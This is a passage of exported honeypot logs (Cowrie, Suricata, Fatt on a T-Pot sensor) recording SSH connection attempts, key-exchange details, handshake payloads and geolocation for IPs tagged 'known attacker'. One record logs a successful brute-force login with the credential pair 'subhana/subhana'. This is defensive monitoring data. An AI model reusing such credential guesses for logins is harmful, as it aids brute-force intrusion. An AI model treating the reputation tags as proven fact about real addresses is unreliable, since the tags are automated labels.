"192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28692	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:19:54.964487+03	2021-09-20 14:30:03.168555+03	{"_id": "SAbvAnwBvYTbRNuEFTBw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:54.410142+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1728234414293534, "payload": "AAADzAYUhUrBwX0/k27CeQmvUKK2KwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2126, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:54.964487Z", "@timestamp": "2021-09-20T11:19:54.964Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......J..}?.n.y..P..+...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20179	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:03:53.670116+03	2021-09-20 14:15:02.061613+03	{"_id": "uAXgAnwBvYTbRNuEavgJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c7c1d7d01de4", "@version": "1", "duration": 2.7587034702301025, "timestamp": "2021-09-20T11:03:53.670116Z", "@timestamp": "2021-09-20T11:03:53.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20180	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:03:53.703792+03	2021-09-20 14:15:02.062613+03	{"_id": "uQXgAnwBvYTbRNuEavgJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1478cd8a8a3b", "@version": "1", "duration": 1.4316189289093018, "timestamp": "2021-09-20T11:03:53.703792Z", "@timestamp": "2021-09-20T11:03:53.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20181	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:03:54.418678+03	2021-09-20 14:15:02.063613+03	{"_id": "ugXgAnwBvYTbRNuEbfgf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 473010831776819, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32894, "dest_port": 22, "timestamp": "2021-09-20T11:03:54.418678Z", "@timestamp": "2021-09-20T11:03:54.418Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20182	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:03:54.384325+03	2021-09-20 14:15:02.065613+03	{"_id": "vwXgAnwBvYTbRNuEbvg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:32894 (192.168.176.2:22) [session: d9a7437d9b97]", "session": "d9a7437d9b97", "@version": "1", "protocol": "ssh", "src_port": 32894, "dest_port": 22, "timestamp": "2021-09-20T11:03:54.384325Z", "@timestamp": "2021-09-20T11:03:54.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20183	159.75.114.202	109.199.241.180	Suricata	2021-09-20 14:03:51.187045+03	2021-09-20 14:15:02.066612+03	{"_id": "pgXgAnwBvYTbRNuEYfhk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:50.632160+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.75.114.202", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2050943161378144, "payload": "AAADzAYUyYibPEY7ssnVeZbZDy/FkwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43032, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:51.187045Z", "@timestamp": "2021-09-20T11:03:51.187Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........<F;...y.../.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20184	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:50.912976+03	2021-09-20 14:15:02.068644+03	{"_id": "pwXgAnwBvYTbRNuEYfj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.75.114.202", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43032, "timestamp": "2021-09-20T11:03:50.912976", "@timestamp": "2021-09-20T11:03:50.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20185	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:03:52.272453+03	2021-09-20 14:15:02.069643+03	{"_id": "rgXgAnwBvYTbRNuEZvhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1478cd8a8a3b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:52.272453Z", "@timestamp": "2021-09-20T11:03:52.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20186	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:03:54.387396+03	2021-09-20 14:15:02.070615+03	{"_id": "wQXgAnwBvYTbRNuEbvg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d9a7437d9b97", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:54.387396Z", "@timestamp": "2021-09-20T11:03:54.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20187	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:56.712748+03	2021-09-20 14:15:02.071656+03	{"_id": "yQXgAnwBvYTbRNuEdfiG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "118.70.233.117", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60958, "timestamp": "2021-09-20T11:03:56.712748", "@timestamp": "2021-09-20T11:03:56.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20188	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:03:47.042683+03	2021-09-20 14:15:02.072613+03	{"_id": "mwXgAnwBvYTbRNuEUviX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "951ce8981b60", "@version": "1", "duration": 2.1206681728363037, "timestamp": "2021-09-20T11:03:47.042683Z", "@timestamp": "2021-09-20T11:03:47.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20189	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:03:50.911757+03	2021-09-20 14:15:02.074642+03	{"_id": "nQXgAnwBvYTbRNuEXvhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c7c1d7d01de4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:50.911757Z", "@timestamp": "2021-09-20T11:03:50.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20241	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:14.453944+03	2021-09-20 14:15:02.136643+03	{"_id": "0wXeAnwBvYTbRNuE5_Zz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.success", "message": "login attempt [subhana/subhana] succeeded", "session": "adb85be76cac", "@version": "1", "password": "subhana", "username": "subhana", "timestamp": "2021-09-20T11:02:14.453944Z", "@timestamp": "2021-09-20T11:02:14.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
20190	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:03:50.908818+03	2021-09-20 14:15:02.075643+03	{"_id": "ngXgAnwBvYTbRNuEXvhP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.75.114.202:43032 (192.168.176.2:22) [session: c7c1d7d01de4]", "session": "c7c1d7d01de4", "@version": "1", "protocol": "ssh", "src_port": 43032, "dest_port": 22, "timestamp": "2021-09-20T11:03:50.908818Z", "@timestamp": "2021-09-20T11:03:50.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
